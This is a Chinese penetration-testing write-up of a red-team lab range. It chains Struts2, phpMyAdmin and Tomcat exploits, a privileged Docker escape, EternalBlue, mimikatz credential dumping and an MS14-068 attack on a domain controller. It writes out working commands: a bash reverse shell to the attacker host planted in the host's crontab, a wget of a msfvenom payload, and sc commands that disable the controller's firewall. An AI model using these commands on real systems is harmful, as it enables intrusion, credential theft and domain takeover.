ATTCK红队评估(红日靶场4)

靶场介绍

  本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞,希望大家多多利用。

环境搭建

机器密码

WEB主机 ubuntu:ubuntuWIN7主机 douser:Dotest123(DC)WIN2008主机 administrator:Test2008

网络配置

  111网段是web的网卡,183网段是内网

image

  DC主机(Windows 2008)

image

  开机,提示密码过期,改为:Itchen123

image

image

  ‍

  ‍

  WEB主机(Ubuntu)

image

image

  docker启动服务:(这里有3个服务)

sudo docker start ec 17 09

  查看是否启动成功:

sudo docker ps

image

  win7:

image

  配置好之后,开机

image

  ‍

WEB(Ubuntu):192.168.111.130 , 192.168.183.128
DC:192.168.183.130
win7:192.168.183.131
kali攻击机:192.168.111.129

web打点

信息收集

  端口扫描:

nmap -sV -Pn 192.168.111.130 

image

  扫描出来4个端口,一次访问:

  2001端口:一个文件上传接口,是struts2框架:

image

  2002端口:一个tomcat页面:

image

  2003端口:phpmyadmin网站,而且未输入密码直接登录:

image

  ‍

struts2_046漏洞

  用工具扫描struts2,发现存在多个漏洞:S2-045 S2-046漏洞都存在

image

  尝试使用S2-046可以成功执行命令,确实存在漏洞:

image

  上传文件getshell就不演示了

phpmyadmin后台获得shell

  右下角标注了版本为4.8.1,这个版本有公开漏洞:

image

  ‍

  还可以利用phpmyadmin来使用数据库日志写入马来获得会话,这里就不做演示了,方法和之前的红日靶场一​的一样,可以前往查看。链接:https://www.cnblogs.com/itchen-2002/p/18399389/to-qxqcu#mysql%E5%BC%B1%E5%8F%A3%E4%BB%A4

  ​4.8.1​版本存在远程文件包含漏洞(CVE-2018-12613),具体原理直接百度,

  ​phpmyadmin 4.8.1​ 远程文件包含漏洞(CVE-2018-12613):

http://192.168.111.130:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

image

  ‍

  ‍

  在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的

select '<?php phpinfo();?>'

image

  根据cookie值,来构造payload

image

http://192.168.111.130:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_44907462b8aff202caab249d90aea146

image

  后面getshell就不演示了,就是写入一句话木马,然后用文件包含漏洞读取就行。

tomcat 文件上传漏洞getshell

  根据已知版本:Apache Tomcat/8.5.19 存在文件上传漏洞

  因此可以利用Tomcat CVE-2017-12615​ 任意文件写入

  刷新页面,抓包,将get请求改为put请求:

image

  返回201,说明上传成功。

  尝试上传jsp文件:

image

  返回404,说明不能上传该文件格式,那么我们可以尝试绕过,这里绕过的方式有很多,可以文件流绕过,可以空格绕过,可以"/"绕过,大家可以自己尝试,这里我用"/"绕过

image

  将gsl的payload 贴上,发包

image

  哥斯拉连接成功:

image

image

  拿到web权限之后,先不急,发现执行ifconfig命令,居然提示没有发现,所以我们拿到的是真机吗?有可能是docker部署的?

  ‍

  判断是否为docker容器中:

  1、查看hostname(不太准)

  docker执行hostname后一般都是一串数字。

image

  但是也有可能创建者会修改,所以有时候不太准。

  2、cat /proc/1/cgroup

  这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

image

  3、检查根目录下是否存在.dockerenv文件

ls -al /

image

  解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

  可以判断出在docker容器中,所以接下来要想办法进行docker逃逸

Dokcer之privileged特权模式逃逸

  ‍

  ‍

  Docker 的 --privileged 参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。
所以我们这边再拉取一个dcoker容器,然后使用特权模式启动.

  在容器内部的时候,我们首先判断我们当前容器是否是特权模式。
例如这个命令就可以进行判断

cat /proc/self/status | grep CapEff
  • cat /proc/self/status​ 用于查看当前进程的状态信息。
  • grep CapEff​ 用于从输出结果中过滤出 CapEff 相关的行
  • capability ​是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

image

  执行后发现当前的掩码值为:000001ffffffffff
一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。
然后我们查看一下分区情况

fdisk -l   

image

  可以看到sda1就是宿主机的磁盘。
所以我们接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。

mkdir /test
mount /dev/sda1 /test   #将宿主机磁盘挂载到test目录下。

  因为有了宿主机磁盘的操作权限,所以我们写计划任务就可以了:

touch /test/test.sh
echo "bash -i >& /dev/tcp/192.168.111.129/9898 0>&1" >/test/test.sh
echo "* * * * * root bash /test.sh" >> /test/etc/crontab

  kali这边开始监听:

 nc -lvvp 9898

  一分钟后成功拿到了宿主机shell,可以通过docker ps 验证一下:

image

  而且拿到的还是root权限:

image

内网渗透

信息收集

上线到msf

  通过ifconfig查询,发现存在网段183网段:

image

  由于在CS中操作linux实在是不方便,故上马到msf:

  生成msf马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=VPSip LPORT=2095 -f elf > 2095.elf

image

  启动临时网站

python -m http.server 8080

image

  受控机下载木马:

wget http://VPSip:8080/2095.elfchmod 777 2095.elf
nohup ./2095.elf &

image

  msf进行监听

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 2095
exploit

  执行msf木马:

image

  msf成功收到会话:

image

  ‍

  msf路由转发

run autoroute -s 192.168.183.0/24
run autoroute -p

  主机扫描:

  可以先使用msf进行一波存活扫描

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.183.0-255
set threads 5
run

  肉眼可见的两台131,130,算上之前的128,一共三台主机·

image

  ‍

192.168.183.130 WIN-ENS2VR5TR3N
192.168.183.131 TESTWIN7-PC

  端口扫描:

  扫描内网主机端口开放情况

nmap -sS -p 1-65535  192.168.183.130

image

  开放:53,135,139,445等端口

  ‍

  再扫另一台主机的端口:

image

  开放 :135,139,445等端口

横向渗透

创建socks隧道

  博主使用chisel 来搭建socks隧道,当然你也可以使用其他的工具

  vps开启服务端监听:

./chisel server -p 6666 --reverse

image

  拿下的ubuntu做客户端反向连接VPS,开启socks代理

./chisel client VPSip:6666 R:socks

image

  服务端这边成功建立连接,并且开启本地的1080端口,进行流量转发:

image

  编辑proxychains4.conf文件:

 vim /etc/proxychains4.conf

image

永恒之蓝漏洞利用

  探测是否存在永恒之蓝漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.130-131
run

  发现都存在该漏洞。图省略

  对131主机开始攻击:

setg Proxies socks5:127.0.0.1:1080   			// 挂代理,这个洞很难打。。。。。
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.183.131
set lport 8888
set AutoRunScript post/windows/manage/migrate    // 自动迁移进程
run

  换了端口,打了2遍才拿下:

image

  看一下ip:

image

  ‍

信息收集

  查看域内主机:

net view

image

  2台主机

TESTWIN7-PC
WIN-ENS2VR5TR3N 

  TESTWIN7-PC 已经被控制,来ping 机器WIN-ENS2VR5TR3N 获取其ip

image

  就是之前扫出来的另一个主机IP:192.168.183.130

  查看域名:

  ipconfig /all
发现demo.com ,并且dns为本地ip (一般dc上会装dns)

  ‍

  查看Administrators组的成员

net localgroup administrators

image

  ‍

  经过信息收集,下一步目标就是183.130这台服务器,用mimikatz拿密码

  cd \Users\douser\Desktop 在桌面上发现了很多东西,比如mimikatz.exe,MS14-068.exe 等待

image

  mimikatz导出密码:

mimikatz.exe
sekurlsa::logonpasswords

image

域成员sid:S-1-5-21-979886063-1111900045-1414766810-1107

image

  发现用户密码 douser Dotest123 , WIN-ENS2VR5TR3N 为域控

MS14-068 域提权漏洞

  介绍:

  利用Kerberos 域用户提权漏洞(MS14-068;CVE-2014-6324)来获得域控。

  该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。

  使用PyKEK可以生成一张高权限的服务票据,并通过mimikatz将服务票据注人内存。

  使用PyKEK,可以将Python文件转换为可执行文件(在没有配置Python环境的操作系统中也可以执行此操作,在这台靶机中靶场搭建者已经给大家准备好了可执行文件版的MS14-068.exe)

  微软针对MS14-068 ( CVE-2014-6324)漏洞提供的补丁为KB3011780

  ‍

  条件:获得普通域用户以及密码 ,以及用户的suid ip为域控ip

  1、利用ms14-068伪造票据:

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

  生成票据成功:

image

  2、查看注入前的权限

  将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$​”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。

  3、清除内存中的所有票据

  打开mimikatz​,输入:

kerberos::purge

  当看到Ticket(s) purge for current session is OK​时,表示清除成功

image

  4、将高权限的票据注入内存

kerberos::ptc TGT_douser@DEMO.COM.ccache

image

  查看域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

  成功连接到2008域控,并查看域控c盘:

image

拿下域控

  首先关闭WIN7防火墙

NetSh Advfirewall set allprofiles state off

image

  ‍

  新建服务来关闭域控的防火墙:

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"sc \\WIN-ENS2VR5TR3N start unablefirewall

image

  ‍

  生成msf木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=192.168.183.130 LPORT=7777 -f exe > bind.exe

  先将木马上传到win7中

image

  再进入win7中,将木马传给域控:

copy bind.exe \\WIN-ENS2VR5TR3N\c$

image

  ‍

  创建服务运行木马:

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

image

  ‍

  ‍

  msf这边开始监听:

use exploit/multi/handler
set Proxies socks5:127.0.0.1:1080
set payload windows/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 7777
set AutoRunScript post/windows/manage/migrate
run

  可以看到130连接过来了,但是用代理,meterpreter会很不稳定,很难操作。。。。。

image

  没办法,会话老是弹不回来(木马执行有时候执行报错),操作是没有问题的,大概讲讲后面的操作也就是,抓取密码,开启3389,然后就可以远程登录了

  可以直接使用msf中的模块来快速开启3389

  meterpreter开启3389:

run post/windows/manage/enable_rdp

  ‍

总结

  • 学习MS14-068域提权漏洞
  • 学习docker逃逸技术
  • chisel隧道技术
  • 学习struts2、tomcat和phpmyadmin getshell手法
  • 在最后拿下域控的时候,一直谈不回shell,搞了老半天,最后只能不了了之。。。
  • 算是学习了一篇如何搭建chisel隧道,加深了我对端口转发的理解,慢慢加油吧,不懂的东西太多了。。。

  ‍

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/796711.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Markdown随笔

冰冻三尺非一日之寒,持之以恒方位始终。 Markdown语法讲解标题一共六级标题分别为Ctrl+1~6: 一级 二级 三级 四级 五级 六级字体 粗体 粗斜体 斜体 删除线引用一个大于号>分割线图片超链接 点击进入百度百科列表 数字加上空格(有序) 点加上空格(无序)表格姓名 性别 年…

tarjan里的定义

强连通分量 - OI Wiki (oi-wiki.org)从以u为根的子树中的任意点出发。单次到达(从这个点指向某个点,有一条边) 的这些点中的dfn的最小值以v为根的子树,包含在以u为根的子树中,low[v]所用的子节点,一定也可以被low[u],这个点一定在以u为根的子树里,所以用low[v] 从u这个…

南沙csp-j/s一对一家教陈老师解题:1317:【例5.2】组合的输出

​【题目描述】排列与组合是常用的数学方法,其中组合就是从n个元素中抽出r个元素(不分顺序且r≤n),我们可以简单地将n个元素理解为自然数1,2,…,n,从中任取r个数。 现要求你用递归的方法输出所有组合。 例如n=5,r=3,所有组合为: 1 2 3 1 2 4 1 2 5 1 3 4 1 …

First day01

Markdown学习 二级标题 字体 Hello World Hello World Hello World Hello World Hello World 引用选择java走上人生巅峰分割线图片 ![截图](C:\Users\邢其俊\Pictures\Screenshots\屏幕截图 2024-09-13 180016.png)超链接 [点击跳转到狂神博客](仓库 - 狂神说 (kuangstudy) - G…

ThreeJS Shader的效果样例光影墙、扩散面(四)

一、实现一个光影墙1. 根据自定义坐标点,输出一个光影墙/*** 添加光影墙*/ function addLightWall() {const geometry = new THREE.BufferGeometry();const vertices = new Float32Array([5, 0, 2,3, 0, 5,-2, 0, 5,-4, 0, 2,-4, 5, 2,-2, 5, 5,3, 5, 5,5, 5, 2]);const indic…

2024年youtube 视频在线下载工具

1.youtube to wav这是一个将 YouTube 视频转换为 WAV 格式的在线工具的网站链接。根据提供的信息,使用该工具的步骤如下: 开始:将 YouTube 视频的 URL 粘贴到搜索框中,然后点击 “Start” 按钮。 转换:选择转换为 WAV 的质量(推荐使用默认选项),然后点击 “Convert” 按…

Idea 配置多端口启动参数

1、编辑配置2、在弹出配置中增加要使用端口接口,添加端口参数配置、设置VM options: 参数值为: -Dserver.port= portNumber下面以应用 TranSendServiceApplication 为例,增加两个端口:8099 和8091 为例。截图如下:

【闲话】假如我们都是猫娘

你是一袋猫粮猫娘驯化实录 ZHESHIWOYAOMOZHENGBEIDISANJIEMOZHENGXIANHUADASAIDECANSAIZUOPIN. (A:Chat-GPT 4.0) (另:因为某些纯魔怔原因,我们连皮下内容也回了)。 A 17:33:41 喵~主人你好呀!我是您的猫娘助手,挪威森林猫品种,身高148cm,梳着双马尾~需要我帮忙做…

chainLink vrf实验

目标 用vrf写一个随机红包 数据结构 红包: struct Envelope {Type t; // 类型,只是erc20 和eth红包ERC20 token; // erc20 ,如果是erc20红包,这里是erc2o的地址address sender; // 发红包的senderuint balance; // 金额bool allowAll; // 允许所有人领取uint32 maxRe…

代码随想录算法 - 二叉树3

题目1513. 找树左下角的值 给定一个二叉树的 根节点 root,请找出该二叉树的 最底层 最左边 节点的值。 假设二叉树中至少有一个节点。 示例 1:输入: root = [2,1,3] 输出: 1示例 2:输入: [1,2,3,4,null,5,6,null,null,7] 输出: 7提示:二叉树的节点个数的范围是 [1,104] -231 &…

Combinatorics/Probability/Expectation

前言 计数加训!!!! 以下问题都是数数。 一些纯组合问题 插板法 例 1 求 $\sum_{i=1}^kx_i=n$ 的解的组数,其中 $x_i\in \mathbb{N^+}$ 且 $x_i\ge a_i$。 考虑令 $x_i=x_i-a_i+1\ge 1$,于是有 $\sum_{i=1}^k x_i=n-k+\sum a_i$,于是答案为 $$n-k+\sum a_i-1\choose k-1$…